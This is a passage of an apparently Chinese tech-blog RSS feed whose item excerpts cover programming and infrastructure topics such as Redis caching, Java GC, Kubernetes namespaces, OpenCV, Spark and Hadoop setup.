&amp;lt;title&amp;gt;管理员登录&amp;lt;/title&amp;gt; &amp;lt;!--login.less文件引入--&amp;gt; &amp;lt;link rel=&#34;stylesheet/less&#34; type=&#34;text/css&#34; href=&#34;css/login.less&#34;&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!--登录表单父级盒子--开始--&amp;gt; &amp;lt;div class=&#34;form-container&#34;&amp;gt; &amp;lt;!--登录表单--开始--&amp;gt; &amp;lt;form class=&#34;form-main&#34;&amp;gt; &amp;lt;!--表单名--&amp;gt; &amp;lt;div class=&#34;form-item form-title&#34;&amp;gt; 管理员登录 &amp;lt;/div&amp;gt; &amp;lt;!--表单组件--&amp;gt; &amp;lt;div class=&#34;form-item&#34;&amp;gt; &amp;lt;!--用户名输入框--&amp;gt; &amp;lt;input type=&#34;text&#34; name=&#34;username&#34; id=&#34;username&#34; class=&#34;form-input&#34; placeholder=&#34;用户名&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;form-item&#34;&amp;gt; &amp;lt;!--用户名密码输入框--&amp;gt; &amp;lt;input type=&#34;password&#34; name=&#34;password&#34; id=&#34;password&#34; class=&#34;form-input&#34; placeholder=&#34;用户名密码&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;</description>
    </item>
    <item>
      <title>redis和mysql如何保持数据一致性</title>
      <link>https://bchobby.github.io/posts/f5ceb3c19bfd99d35b592d77f798b1ab/</link>
      <pubDate>Sun, 10 Apr 2022 22:09:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5ceb3c19bfd99d35b592d77f798b1ab/</guid>
      <description>redis和mysql如何保持数据一致性 一般情况下，redis是实现 应用和数据库之间的一个读操作的缓存层。 目的就是减少数据库的IO，提高数据库的IO性能&#xA;数据-&amp;gt;写入缓存，读取数据，首先尝试，命中缓存就从缓存中读取数据，没有命中就去数据库中读取&#xA;查到后再把数据写到缓存。出现的问题，一份数据同时保存在redis和数据库中，当数据发声变化时，需要更新 redis和数据库，因为更新操作是有先后顺序的，不像mysql中的多表事务操作，可以满足ACID的特性&#xA;此时就会出现数据一致性的问题。&#xA;解决方法： .先更新数据库，再更新缓存(缓存更新失败就会导致数据不一致) .先删除缓存，再更新数据库,再更新缓存。理论上是一致的， 但是比极端情况下，删除缓存和更新数据库不是原子操作,在过程中 有线程访问，还是会有数据库不一致的问题 采用最终一致性的一个方案： 1. 基于RocketMQ 的可靠性消息通信来实现数据的最终一致性&#xA;2. 直接通过Cannal组件，监控mysql中的binlog的日志，把更新后的数据同步到redis&#xA;3. redis和mysql之间还有一种中间件可以同步数据，redismq</description>
    </item>
    <item>
      <title>java常用垃圾回收器G1和CMS的区别</title>
      <link>https://bchobby.github.io/posts/a05e788bafedd9a051b234d948b1d674/</link>
      <pubDate>Sun, 10 Apr 2022 21:41:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a05e788bafedd9a051b234d948b1d674/</guid>
      <description>1 概述 从jdk1.8为界限，几种常用的垃圾回收器如下图所示：&#xA;注意：&#xA;对于Serial-Serial Old 和Parallel Scavenge-Parallel Old这两种垃圾回收器，新生代都采用复制回收算法，老年代采用标记整理算法，区别在于回收时采用一个还是多个线程，缺点也都很一致，就是会产生STW。&#xA;虽然CMS垃圾回收器比其他两种好，但是java8之前还算是默认使用的是PS-PO回收器。&#xA;2 ParNew-CMS（ConcurrentMarkSweep）回收器 与上图说的那样，parNew是一种新生代垃圾回收器，而CMS是一种老年代垃圾回收器，两者常作为搭档应用。&#xA;从他的名字ConcurrentMarkSweep我们就可以顾名思义，它是一种“并发标记清除算法”，新生代采用复制算法，老年代采用标记清除算法。&#xA;注意：&#xA;上面其他两种Serial Old和Parallel Old采用的是标记整理算法。&#xA;而标记清除算法是会产生内存碎片的，CMS怎么解决的呢？&#xA;解决这个问题的办法就是可以让CMS在进行一定次数的Full GC（标记清除）的时候进行一次标记整理算法，CMS提供了一下参数来控制：&#xA;-XX：UseCMSCompactAtFullCollection -XX:CMSFullGCBeforeCompaction=5&#xA;也就是CMS在进行5次Full GC(标记清除）之后进行一次标记整理算法，从而可以控制老年带的碎片在一定数量以内，甚至可以配置CMS在每次Full GC的时候都进行内存的整理。&#xA;2.1 垃圾回收过程 参考链接: CMS&amp;amp;G1垃圾回收算法.&#xA;参考链接: 详解CMS垃圾回收机制.&#xA;新生代采用复制算法，会暂停所有用户线程。&#xA;老年代采用CMS，而这种垃圾回收器的回收过程主要分成四个过程：&#xA;2.1.1 初始标记 初始标记其实就是对被我们GC ROOT直接引用的对象做一个标记，在这个过程中将会触发一次STW（stop the word）机制，但是时间很短可以忽略。&#xA;当前阶段标记老年代的GC Roots对象和新生代存活的对象引用到老年代的对象（非老年代引用新生代，是新生代引用到老年代的跨代引用，这里需要遍历整个新生代，主要是标记老年代的对象可达），然后把这个GC Roots push到标记栈(mark-stack)；&#xA;2.1.2 并发标记 从标记栈(mark-stack)pop出对象，递归遍历出所有的子对象，然后把子对象继续push到标记栈(mark-stack)，重复这个过程直到所有对象被标记，然后标记栈(mark-stack)为空；&#xA;应用线程期间发生：&#xA;新生代晋升老年代；&#xA;直接在老年代分配；&#xA;老年代引用关系发生变化（新增，删除，变更）；&#xA;这些对象在都会触发写屏障标识为dirty，放到一个叫ModUnionTalble（主要是为了解决在YGC时应用程序删除了某个新生代对原来dirty card中对象的引用，写屏障捕获后标识为clean的场景）的类似Card Table（写屏障标识dirty card的动作应该会在每个并发阶段被触发）；&#xA;在进行并发标记的过程中，我们的用户线程和CMS线程会一起执行。CMS所做的一件事情就是把堆里的所有引用对象全部找到并做标记。&#xA;但是在这个过程中可能会发生对象状态被改变的问题。&#xA;1、比如我的一个对象的引用链已经断开，变成了垃圾对象，但是CMS已经对他做过标记判断为非垃圾对象了怎么办？这就是在并发标记过程中产生的浮动垃圾（多标问题）&#xA;2、比如本来一个对象在CMS标记的过程中把他标记成了垃圾对象但是后来我们有引用了，结果在我们用的时候垃圾对象已经被干掉了，那我们是不是在引用这个对象的时候就会找不到这个垃圾对象。（漏标问题）&#xA;这时候我们的第五步就产生了。&#xA;2.1.3 并发预清理（CMS-concurrent-preclean） 扫描新生代确定之前未被标记的老年代对象的可达性，将老年代的对象标记为存活；扫描ModUnionTalble并处理dirty card；&#xA;并发预清理阶段，也是一个并发执行（可与用户线程一起执行）的阶段，主要解决新生代晋升的问题，新分配到老年代的对象以及并发被修改的对象。在本阶段，会查找前一阶段执行过程中,从新生代晋升或新分配或被更新的对象。通过并发地重新扫描这些对象，预清理阶段可以减少下一个stop-the-world 重新标记阶段的工作量。&#xA;并发预处理阶段做的工作还是标记，与重标记功能相似。既然相似为什么要有这一步？&#xA;前面我们讲过，CMS是以获取最短停顿时间为目的的GC。重标记需要STW（Stop The World），因此重标记的工作尽可能多的在并发阶段完成来减少STW的时间。</description>
    </item>
    <item>
      <title>python_飞机大战源代码</title>
      <link>https://bchobby.github.io/posts/2a4ab7db58df3cc4115ed57df82f019e/</link>
      <pubDate>Sun, 10 Apr 2022 15:41:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a4ab7db58df3cc4115ed57df82f019e/</guid>
      <description>本代码学习于黑马程序员，开发环境基于IDEA，pygame模块。图片资源私博主~&#xA;先上效果图&#xA;plane_main.py&#xA;import pygame from plane_sprites import * class PlaneGame(object): def __init__(self): print(&#34;游戏初始化&#34;) # 创建游戏窗口 self.scree = pygame.display.set_mode(SCREE_RECT.size) # 创建游戏时钟 self.clock = pygame.time.Clock() self.__reate_sprites() # 定时出现敌机 pygame.time.set_timer(CREATE_ENEMY_EVENT, 1000) pygame.time.set_timer(HERO_FIRE_EVENT, 400) def __reate_sprites(self): # 创建背景 bg1 = Background() bg2 = Background(True) self.back_group = pygame.sprite.Group(bg1, bg2) self.enemy_group = pygame.sprite.Group() self.hero = Hero() self.hero_group = pygame.sprite.Group(self.hero) # 创建敌机精灵组 def start_game(self): while True: self.clock.tick(FRAME_PER_SEC) self.__event_handler() self.__check_collide() self.__update_sprites() pygame.display.update() # 设置创新帧率 def __event_handler(self): for event in pygame.</description>
    </item>
    <item>
      <title>单片机Flash大小和RAM大小空间理解与分析</title>
      <link>https://bchobby.github.io/posts/15ae5962288d2e696bcd4c0cc6fdfcc1/</link>
      <pubDate>Sun, 10 Apr 2022 12:47:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15ae5962288d2e696bcd4c0cc6fdfcc1/</guid>
      <description>我们以上图中的 STM32为例来进行分析和理解&#xA;1,空间大小问题&#xA;Flash大小 32kBytes 意思是 321024 = 32768 字节(Bytes)&#xA;RAM大小 8kBytes 意思是 81024 = 8192字节(Bytes)&#xA;2,代码及变量存储问题&#xA;我们以KEIL编译器 给我们提供的信息为例来进行分析和理解 如下图 整个程序被分为了 4部分&#xA;1,代码: 编译后的代码 会存储在 Flash 中. (这样掉电不会丢失)&#xA;2,只读数据: 只读数据(大多为常量) 存储在 Flash 中. (这样掉电不会丢失)&#xA;3, 已经赋值的变量: 已经赋初值的变量 用户定义的初值也会存储在 Flash 中. (这样掉电不会丢失). 同时上电程序初始化运行的时候会把 此数据拿出来 放到RAM中&#xA;4, 没有赋值的变量: 没有赋值的变量 会在上电程序运行的过程中 存在RAM中 (掉电丢失)&#xA;所以我们得到结论 Falsh 应该满足1+2+3&#xA;RAM 应该满足 2+3&#xA;另外我们还需要注意 单片机本身底层的一些 处理逻辑也会占用一部分&#xA;我们来看一下代码超过编译内存后的提示:&#xA;英文提示&#xA;中文提示:&#xA;提示中 我们可以得知 该芯片链接器生成的内容也会占用 Flash大小39字节&#xA;同时 这39字节大小 已经在1 代码 这部分中被包含在里面了,所以我们计算的时候 就不需要在加上这39字节的数据了</description>
    </item>
    <item>
      <title>C1——cesium添加标签组，及显示影藏</title>
      <link>https://bchobby.github.io/posts/5f563a5b971610de46944485c5524471/</link>
      <pubDate>Sun, 10 Apr 2022 12:26:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f563a5b971610de46944485c5524471/</guid>
      <description>效果：给航飞数据添加小区的名字label。&#xA;标签带竖线。可以控制显示影藏。高度低于1100m显示，否则自动影藏&#xA;用 parent属性便于控制标签显示影藏。直接让labels.show=true/false;&#xA;代码：&#xA;1：定义数据（数组）&#xA;2：定义方法&#xA;// 倾斜摄影数据上添加lable的方法 putLables(_datas, _parent) { let _this = this; for (let i = 0; i &amp;lt; _datas.length; i++) { let data = _datas[i]; let entity = _this.viewer.entities.add({ //参数顺序：经度、纬度 position: Cesium.Cartesian3.fromDegrees(data.lon, data.lat, data.height),//标签的位置 parent: _parent, polyline: {//竖线 show: true, positions: Cesium.Cartesian3.fromDegreesArrayHeights([ data.lon, data.lat, 340, data.lon, data.lat, data.height - 2 ]), distanceDisplayCondition: new Cesium.DistanceDisplayCondition(0, 1500),//高于多少m的时候，不可见 width: 1, material: Cesium.Color.fromCssColorString(&#39;#fdeb13&#39;), outlineColor: Cesium.Color.fromCssColorString(&#39;#3ab70b&#39;), outlineWidth: 2 }, label: { text: data.</description>
    </item>
    <item>
      <title>String数据类型的初始值</title>
      <link>https://bchobby.github.io/posts/aee7fde8e15f185412e04bcd44d985e6/</link>
      <pubDate>Sun, 10 Apr 2022 12:24:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aee7fde8e15f185412e04bcd44d985e6/</guid>
      <description>String数据类型的初始值 推断变量 str1 和 str2 的值是什么？&#xA;String str1;&#x9;// str1 = null String str2 = new String();&#x9;// str2 = &#34;&#34; 现在用程序跑一遍，测试一下结果&#xA;public class TestString { public static void main(String[] args) { String str1; String str2 = new String(); //System.out.println(str1); // 报错：Variable &#39;str1&#39; might not have been initialized System.out.println(str2); } } 说明变量 str1 还未初始化，所以输出不了，而变量 str2 输出为空，可以再一次进行测试，str2 的结果：&#xA;System.out.println(str2.length());&#x9;// 结果为0 而一般如果变量 str1 需要用到，但不用 new 一个新的对象，可以对变量 str1 赋空值&#xA;String str1 = null; 这样就不会报错了，程序也可正常运行。</description>
    </item>
    <item>
      <title>k8s部署-31-k8s中如何进行资源隔离资源</title>
      <link>https://bchobby.github.io/posts/224ce6b53e37650ecbe03a2a346a8e05/</link>
      <pubDate>Sun, 10 Apr 2022 11:36:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/224ce6b53e37650ecbe03a2a346a8e05/</guid>
      <description>在k8s中的我们的资源如何隔离呢？如果说有一个服务异常了，内存无限制的占用，其他的服务岂不是无法部署上去了？&#xA;而且我们一般一个集群是给很多人，很多对象使用的，那么如何保证他们互不打扰？且无法看到其他人的相关内容呢？&#xA;Namespace&#xA;一个重要的概念，Namespace，我们之前说过，但是没有细说他的功能是什么，他可以实现资源隔离和配额的隔离，比如下面的信息：&#xA;从上图可以清晰的看到他能做什么，接下来实际操作下吧。&#xA;新建namespace&#xA;首先我们先查询下本地有多少个namespace；&#xA;[root@node1 ~]# kubectl get namespace NAME STATUS AGE default Active 18d kube-node-lease Active 18d kube-public Active 18d kube-system Active 18d [root@node1 ~]# 再看下命名空间中都有什么呢？这里我们只查看pod哈。&#xA;[root@node1 ~]# kubectl get pods NAME READY STATUS RESTARTS AGE deploy-springboot-5dbfc55f78-mpg69 1/1 Running 1 21h nginx-ds-q2pjt 1/1 Running 17 11d nginx-ds-zc5qt 1/1 Running 22 17d [root@node1 ~]# kubectl get pods -n kube-node-lease No resources found in kube-node-lease namespace. [root@node1 ~]# kubectl get pods -n kube-public No resources found in kube-public namespace.</description>
    </item>
    <item>
      <title>python：opencv形态学转换之腐蚀膨胀操作 开闭运算 实例</title>
      <link>https://bchobby.github.io/posts/18307528182615ea7b241f3ac13ecb3c/</link>
      <pubDate>Sun, 10 Apr 2022 10:30:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18307528182615ea7b241f3ac13ecb3c/</guid>
      <description>一、腐蚀/膨胀 膨胀操作：是对高亮的部分向外进行扩大，输出图的高亮部分要大于原图区域。它可以做到把图像周围背景合并到物体中，如果两个物体之间具体较近，那么膨胀运算就会使得这两个物体连接在一起，所以膨胀对于填补图像分割后的空洞很有用处。对于灰度图像的膨胀操作一般采用极大运算，提升图像整体亮度，增强图像的亮细节，消除暗细节。对于二值图像，膨胀操作可以扩大白色区域的面积，在元白色目标的轮廓上增加设定的大小。在Python中常用执行膨胀操作的函数为eroda函数。&#xA;腐蚀操作效果与膨胀操作完全相反，是原图中高亮的区域被识别然后按设定的比例向内减小，输出结果图的高亮部分要小于原图。它能消除目标物体的边界轮廓，可以把小于结构元素的点去除。如果图像两个目标物体之间有细微的连接，则可以通过设定卡好的结构元素，通过腐蚀操作将两目标物体分开，又不会损害到两物体的形态信息。灰度图像的腐蚀操作采用极小运算，使图像的整体变暗，增强图像的暗细节，削弱了亮细节。对于二值图像，腐蚀操作可以缩小白色区域，扩大黑色区域。常用dilate函数实现腐蚀操作。&#xA;#腐蚀膨胀操作程序 起始点 import cv2 import numpy as np import matplotlib.pyplot as plt img2 = cv2.imread(&#39;C:/Users/asus/Pictures/Saved Pictures/er1.jpg&#39;) #读取图像 kernel = np.ones((9,9), np.float32) result1 = cv2.erode(img2,kernel) #腐蚀运算 result2 = cv2.dilate(img2,kernel) #膨胀运算 titles = [&#39;original image&#39;,&#39;erode&#39;, &#39;dilate&#39;] #输出图片命名 imgs = [img2,result1,result2] for i in range(3): plt.subplot(2,3,i+1)#注意，这和matlab中类似，没有0，数组下标从1开始 plt.imshow(imgs[i]) plt.title(titles[i]) plt.xticks([]), plt.yticks([]) plt.show() #腐蚀膨胀运算程序 结束点 结果分析：&#xA;从原图可以看出图中字母部分为暗区域，字母中分布着白色的像素点，在白色外围区域上有黑色像素块构成的噪声。从结果可以看到腐蚀操作扩大了暗区域，溶解了高亮区域，很容易去除了字母内的白色像素点：而膨胀操作扩大了白色区域，很好地去除了摆设背景下的黑色噪音。&#xA;二、开/闭运算 开闭运算同样是具有相反操作过程的运算，但它们的用处有相似的地方，都能用来平滑边界。开运算是先腐蚀再膨胀，可用来消除细小噪声，去毛刺，在纤细处分离物体以及平滑较大物体边界的作用。闭运算是先膨胀再腐蚀，能用来填充物体内部的细小空洞，连接临近物体和平滑边界。&#xA;import cv2 import numpy as np import matplotlib.pyplot as plt ori = cv2.</description>
    </item>
    <item>
      <title>Spark 简单介绍 基本概念 和MapReduce的区别</title>
      <link>https://bchobby.github.io/posts/bf759339407d2b28ebc82d6d8e4668b3/</link>
      <pubDate>Sun, 10 Apr 2022 00:09:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf759339407d2b28ebc82d6d8e4668b3/</guid>
      <description> 1.概述 Spark是一种快速而通用的集群计算的平台，Spark 的一个主要特点就是能够在内存中进行计算，因而更快。 2.特点 与Hadoop的MapReduce相比，Spark基于内存的运算要快100倍以上，基于硬盘的运算也要快10倍以上。Spark实现了高效的 DAG执行引擎，可以通过基于内存来高效处理数据流。 Spark提供了统一的解决方案。Spark可以用于批处理、交互式查询（Spark SQL）、实时流处理（Spark Streaming）、机器学习（Spark MLlib）和图计算（GraphX）。 Spark Core实现了任务调度、内存管理、错误恢复与存储系统交互等模块，并且还包含了对弹性分布式数据集（Resilient Distributed Dataset，简称RDD）的API的定义。它主要担任了系统管理员的角色。 Spark SQL 主要用来操作结构化数据的程序包，通过Spark SQL可以使用SQL或者hive版本的HQL来查询数据库。 Spark Streaming 主要是对实时数据进行流式计算。Spark Streaming 提供了用来操作数据流的 API，并且与 Spark Core 中的 RDD API 高度对应 MLib提供了很多机器学习算法。包括分类、回归、聚类、协同过滤等，还提供了模型评估、数据导入等额外的支持功能。 GraphX用来操作图，可以并行的进行图计算，支持了图的各种操作。 Spark SQL组件是经常用到的，使用hql语句从Hive中读取结构化的数据，存为RDD数据集，进行一些操作后分布式存储到hdfs中。 3.Spark基本概念 Application：Spark用户程序，用户提交一次应用为一个App，一个App产生一个SparkContext。 Job：一个App可被划分为多个Job，划分标记为action动作；action动作有collect,count等。 Stage：每个Job会被划分多层Stage，划分标记为shuffle过程；Stage按照父子（血统）关系依次执行。 Task：具体的执行任务单位，被发到executor上执行具体任务。 Cluster Manager：集群资源管理服务，通常包含主节点（主备）和多个运行节点；支持运行模式有Standalone、Mesos(用得少)、Yarn。 Driver：运行App的大脑，负责job的初始化，将job转换成task并提交执行。 DAGScheduler：是一个面向Stage层面的调度器，按照Stage提交Task集合给TaskScheduler。 TaskScheduler：提交Task给Executor运行，并管理执行结果。 BlockManager：管理App运行周期的中间数据，比如存在内存、本地。 Executor：是App运行在worker node上的一个进程，该进程负责运行Task，生命周期和App相同 4.Spark与MapReduce的区别 Spark是MapReduce的替代方案，而且兼容HDFS、Hive，可融入Hadoop的生态系统，以弥补MapReduce的不足。可以直接对HDFS进行数据的读写，同样支持Spark on Yarn。Spark可以与MapReduce运行于同集群中，共享存储资源与计算。 spark把中间计算结果存放在内存中，减少迭代计算过程中的数据落地，运算效率高。MapReduce中的计算中间结果是保存在磁盘上的，运算效率差。 spark容错性高。spark支持DAG图的分布式并行计算。DAG：有向无环图，描述了任务间的先后依赖关系。 spark通用性高。MapReduce只提供了map和reduce两种操作，spark提供的操作类型有很多，分为转换和行动操作两大类。转换操作包括：map,filter,flatmap,sample,groupbykey,reducebykey,union,join,cogroup,mapvalues,sort,partitionby等多种操作，行动操作包括：collect,reduce,lookup和save等操作。 </description>
    </item>
    <item>
      <title>Python调用执行Linux系统命令（四种方法）</title>
      <link>https://bchobby.github.io/posts/7b98f8ba5363a4860bed561796d3acb4/</link>
      <pubDate>Sat, 09 Apr 2022 23:05:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b98f8ba5363a4860bed561796d3acb4/</guid>
      <description>Python调用执行Linux系统命令（四种方法） Python作为一门脚本语言，胶水语言，自然是有它的胶水特性的，就比如Python和Linux系统的结合，比如，在使用Python编写自动化运维脚本的时候，总免不了需要和Linux系统交互，如，查询Linux系统内的某个文件，然后修改这个文件并运行它（假设有可运行权限）。&#xA;Python让人称道的其中一个地方就是它的类库非常齐全，这是真的不吹牛，只有你想不到，基本没有它没有的库，比如科学计算库numpy，pandas这些，或者与系统交互的库，os库，或者自动化测试的selenium库等等，到底Python有多少库我想可能Python创始人也可能不知道。（Python的社区太强大了！！！！！）那么，如果Python需要调用Linux系统命令，比如，ls，df，free，ps，这样的命令自然是需要与系统交互的专用库os结合了，还一种方法就是直接操纵进程的啦，那么，自然就是subprocess库啦。也就是说，我们想要Python能够调用Linux系统命令，也就是Python与Linux系统交互，要么需要使用os库，要么需要使用subprocess库啦还有一个不太常用的commands库~~~！！！@~~~~&#xA;Python的os模块，见名之意，opera system的意思是毫无疑问了。该模块是Python的内建模块，也可以说是内建库了，该模块内的函数自然也是内建函数了，我们要和系统命令交互，需要使用它的system（），popen（）这两个函数，或者使用commands模块，或者使用subprocess模块，前面两个函数和commands模块是比较陈旧的，现在官方比较推荐也可以说强烈推荐的是subprocess模块。&#xA;(1) os.system（系统层面的直接调用），这个调用相当直接，且是同步进行的，程序需要阻塞并等待返回。返回值是依赖于系统的，直接返回系统的调用返回值，所以windows和linux是不一样的。&#xA;仅仅在一个子终端运行系统命令，而不能获取命令执行后的返回信息&#xA;(2) os.popen（新开线程方式），可以看出，popen方法通过p.read()获取终端输出，而且popen需要关闭close().当执行成功时，close()不返回任何值，失败时，close()返回系统返回值. 可见它获取返回值的方式和os.system不同。&#xA;该方法不但执行命令还返回执行后的信息对象，好处在于：将返回的结果赋于一变量，便于程序的处理。&#xA;(3) 使用模块 commands（ python3失效）&#xA;（4） 使用模块 subprocess（Python文档中目前全力推荐），直接调用命令，返回值即是系统返回。shell=True表示命令最终在shell中运行。Python文档中出于安全考虑，不建议使用shell=True。&#xA;import os import commands print(&#39;=============================ls&#39;) os.system(&#39;ls -al /&#39;) print(&#39;===========df&#39;) df = os.popen(&#39;df -ah&#39;).read() print(df) print(&#39;=========================free&#39;) a = commands.getoutput(&#34;free -mh&#34;) print(a) 输出结果为：&#xA;=============================ls total 28 dr-xr-xr-x. 17 root root 244 Jan 24 12:11 . dr-xr-xr-x. 17 root root 244 Jan 24 12:11 .. -rw-r--r-- 1 root root 0 Jan 24 12:11 .</description>
    </item>
    <item>
      <title>手机号登录和微信登录</title>
      <link>https://bchobby.github.io/posts/c62575d160b181af5e46bbd3d41c3178/</link>
      <pubDate>Sat, 09 Apr 2022 19:31:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c62575d160b181af5e46bbd3d41c3178/</guid>
      <description>感谢尚硅谷，直接上代码（尚医通解决方案）&#xA;@RestController @RequestMapping(&#34;/api/user&#34;) public class UserInfoApiController { @Autowired private UserInfoService userInfoService; //用户手机号登录接口 @PostMapping(&#34;login&#34;) public Result login(@RequestBody LoginVo loginVo) { Map&amp;lt;String,Object&amp;gt; info = userInfoService.loginUser(loginVo); return Result.ok(info); } } //用户手机号登录接口 @Override public Map&amp;lt;String, Object&amp;gt; loginUser(LoginVo loginVo) { //从loginVo获取输入的手机号，和验证码 String phone = loginVo.getPhone(); String code = loginVo.getCode(); //判断手机号和验证码是否为空 if (StringUtils.isEmpty(phone) || StringUtils.isEmpty(code)) { throw new YyghException(ResultCodeEnum.PARAM_ERROR); } //判断手机验证码和输入的验证码是否一致 String redisCode = redisTemplate.opsForValue().get(phone); if (!code.equals(redisCode)) { throw new YyghException(ResultCodeEnum.CODE_ERROR); } //绑定手机号码 UserInfo userInfo = null; if (!</description>
    </item>
    <item>
      <title>400电话客服呼叫中心搭建流程及注意事项</title>
      <link>https://bchobby.github.io/posts/01db7c23b870ff1fe416dd8b943a24d6/</link>
      <pubDate>Sat, 09 Apr 2022 16:55:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01db7c23b870ff1fe416dd8b943a24d6/</guid>
      <description>越来越多的企业都在搭建自己的客服中心，为了使客服流程更为体系化，有关系统方面问题请找博主，看他名字就可以微他一起交流学习。400电话客服呼叫中心在许多商业领域得到广泛运用，但是不少企业仍不清楚企业该如何搭建一个电话客服呼叫中心，具体搭建流程是怎样的以及要注意哪些事项，本文针对这些问题来谈谈如何搭建400电话客服呼叫中心。&#xA;电话客服呼叫中心素材图&#xA;（一）确定需求&#xA;在搭建客服呼叫中心系统前要有明确的规划，包括战略规划和业务规划。呼叫中心要以客户为中心，首先要确定的是行业特点以及目标定位，明白公司要建立怎样的营销体系，客群细分定位是怎样的，以及针对不同客群的差异化战略是怎样的，怎么维护客户关系和拓展新客户等问题。&#xA;业务规划其实是对战略规划的落地实施，主要包括咨询业务、售后服务与支持，即为客户提供产品咨询的相关服务，处理售后问题以及技术支持。&#xA;在确定需求这一阶段，也要考虑到技术方面的问题，根据自己的需求来考虑相应的技术策略。&#xA;（二）选择服务商&#xA;确认好客服呼叫中心的需求后，可以形成初期阶段的需求分析报告与可行性报告提交审批，在此同时可以筛选服务商，对市场上的服务商有大概了解，审批通过后可以采取项目招标的形式或者直接选定一家服务商，确认初步的搭建方案，包括前置接入、系统构架、呼叫中心选址等。&#xA;较为靠谱的服务商例如联信志诚，前期都会充分了解项目需求，不断优化与测试方案可行性，系统也能较快投入正式使用，性价比较高，售后支持全天在线。&#xA;（三） 建设与试运营&#xA;确定最终的服务商后，会由企业和服务商双方的人员共同组成一个项目组，开始对呼叫中心项目的实施。在此过程中，企业应当首先与服务商确定产品到货时间，并制定合适的项目实施计划和业务开发计划。在建设呼叫中心的环节中，很重要的一点就是服务商是否有成熟的经验来对项目的实施进行有序的指导。&#xA;在搭建完成后或者在搭建过程中，都需要技术人员跟进维护和测试，避免突发问题，搭建完成后，需要试运营，看是否需要调试，试运营需要IT技术人员往系统中导入基础的数据并进行系统测试，测试完成之后需要出具一份专门的系统测试评估与改进报告，并提交给项目工程方来进行修补和完善。如果没有问题，客服呼叫中心就可以正式投入运营了。&#xA;400电话客服呼叫中心系统搭建步骤分为确定需求、选择服务商、建设与试运营三个大的阶段，整个建设周期一般会长达1-3个月不等，企业可以根据需求和预算成本来选择制定搭建方案。</description>
    </item>
    <item>
      <title>基于Spark的农产品分析系统</title>
      <link>https://bchobby.github.io/posts/2d7875c32c6f2b18c37e960d5f5d543e/</link>
      <pubDate>Sat, 09 Apr 2022 15:31:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d7875c32c6f2b18c37e960d5f5d543e/</guid>
      <description>本篇文章为大学毕业实习项目-基于Spark的农产品分析系统的文档，从搭建环境到代码编写以及成果展示。&#xA;Hadoop环境搭建 集群规划&#xA;服务器IP192.168.18.101192.168.18.102192.168.18.103主机名hadoop01hadoop02hadoop03NameNode是否否SecondaryNameNode是否否dataNode是是是ResourceManager是否否NodeManager是是 1.上传hadoop安装包并解压 tar -zxvf hadoop-2.7.5.tar.gz -C /opt/module/ 最后使用集群分发脚本xsync分发到其他服务器&#xA;xsync /opt/application/hadoop-2.7.3/ 现在，每个服务器都有hadoop安装包，目录为/opt/module，另外hadoop运行需要java环境。&#xA;2.配置环境变量 [root@hadoop101 hadoop-2.7.5]# pwd /opt/application/hadoop-2.7.3 [root@hadoop101 hadoop-2.7.5]# vim /etc/profile export HADOOP_HOME=/opt/application/hadoop-2.7.3 export PATH=$PATH:$HADOOP_HOME/bin export PATH=$PATH:$HADOOP_HOME/sbin [root@hadoop101 hadoop-2.7.5]# source /etc/profile [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4zlRlZJU-1649489437027)(/Users/guopuwen/Desktop/C:\Users\VSUS\Desktop\笔记\大数据\img\4.png)]&#xA;到这，第一台机器的hadoop已经安装完毕，然后使用集群分发脚本将/etc/profile文件分发至各台机器，不要忘记重新加载配置文件&#xA;3.修改配置文件 配置文件都在etc/hadoop中&#xA;3.1 core-site.xml &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;fs.default.name&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;hdfs://hadoop01:8020&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hadoop.tmp.dir&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;/opt/application/hadoop-2.7.3/hadoopDatas/tempDatas&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;!-- 缓冲区大小，实际工作中根据服务器性能动态调整 --&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;io.file.buffer.size&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;4096&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;!-- 开启hdfs的垃圾桶机制，删除掉的数据可以从垃圾桶中回收，单位分钟 --&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;fs.trash.interval&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;10080&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; 3.2 hdfs-site.xml &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;dfs.namenode.secondary.http-address&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;hadoop101:50090&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;dfs.namenode.http-address&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;hadoop101:50070&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;dfs.</description>
    </item>
    <item>
      <title>定义一个Person类{name,age,job},初始化Person对象数组，有三个person对象，并按照age从小到大进行排序，使用冒泡排序</title>
      <link>https://bchobby.github.io/posts/c13f8f7dd634d30ac9d4a9a7fc4275b9/</link>
      <pubDate>Sat, 09 Apr 2022 13:18:06 +0800</pubDate>
